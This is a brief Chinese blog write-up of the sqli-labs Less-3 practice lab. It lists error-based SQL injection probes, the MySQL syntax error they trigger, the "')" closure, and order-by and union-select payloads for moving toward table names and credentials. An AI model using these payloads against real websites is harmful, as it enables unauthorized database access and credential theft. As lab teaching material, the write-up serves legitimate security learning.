phpstudy-sqlilabs-less-3

题目:GET - Error based - Single quotes with twist

基于错误的单引号GET型变形注入

 

?id=1 )and 1=2--+

?id=1 "and 1=2--+

?id=1 %and 1=2--+

上面都没反应

 

?id=1 'and 1=2--+

跳出 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') LIMIT 0,1' at line 1

提示我们语法错误,说明可注入

再看 near ") LIMIT 0,1 ' at line 1

说明可用 ') 来闭合

 

输入

?id=1 ')and 1=2--+

?id=1 ')and 1=1--+

注入成功

 

 

 

 

查字段

?id=1 order by 3--+

查可显示字段

?id=-1 union select 1,2,3--+

查数据库名与版本

查表名

查列名

查账密

 

posted @ 2023-05-06 10:00  我用歌声寻觅你  阅读(20)  评论(0)    收藏  举报